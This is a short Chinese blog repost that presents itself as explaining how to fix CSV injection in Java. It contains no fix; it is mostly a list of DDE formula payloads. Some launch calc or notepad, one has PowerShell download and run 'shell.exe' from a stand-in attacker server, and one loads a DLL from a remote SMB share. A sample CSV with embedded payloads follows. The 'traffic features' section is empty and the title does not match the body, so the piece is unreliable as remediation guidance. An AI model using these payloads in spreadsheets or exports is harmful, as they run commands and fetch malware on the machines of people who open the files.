csv注入java怎么解决_CSV Injection(CSV注入)
簡(jiǎn)介
許多web應(yīng)用程序允許用戶將發(fā)票模板或用戶設(shè)置等內(nèi)容下載到CSV文件中。許多用戶選擇在Excel、Libre Office或open Office中打開CSV文件。當(dāng)web應(yīng)用程序無(wú)法正確驗(yàn)證CSV文件的內(nèi)容時(shí),可能會(huì)導(dǎo)致執(zhí)行一個(gè)或多個(gè)單元格的內(nèi)容。
漏洞利用
最基本的利用方式是動(dòng)態(tài)數(shù)據(jù)交換
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
# pop a notepad
=cmd|' /C notepad'!'A1'
# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
上述有效載荷的技術(shù)細(xì)節(jié):
cmd 是每當(dāng)客戶端試圖訪問服務(wù)器時(shí),服務(wù)器可以響應(yīng)的名稱
/C calc 是執(zhí)行的文件名,(calc.exe即計(jì)算器)
!A0 是項(xiàng)名稱,指定當(dāng)客戶端請(qǐng)求數(shù)據(jù)時(shí)服務(wù)器可以響應(yīng)的數(shù)據(jù)單元
任何公式符號(hào)都可以用:
=
+
–
@
示例:
UserIdBillToDateProjectNameDescriptionDurationMinutes
12017/7/25Test ProjectFlipped the jibbet60
22017/7/25Important Client"Bop, dop, and giglip"240
22017/7/25Important Client"=2+5"240
22017/7/25Important Client"=2+5+cmd|' /C calc'!A0"240
22017/7/25Important Client"=cmd|' /C notepad'!'A1'"240
22017/7/25Important Client"=cmd|'/C powershell IEX(Write-Host "It's run!";)'!A0"240
流量特征如下:
總結(jié)
以上是生活随笔為你收集整理的csv注入java怎么解决_CSV Injection(CSV注入)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java数组拼字符串_java数组、字符
- 下一篇: mysql 唯一索引出现重复数据_MyS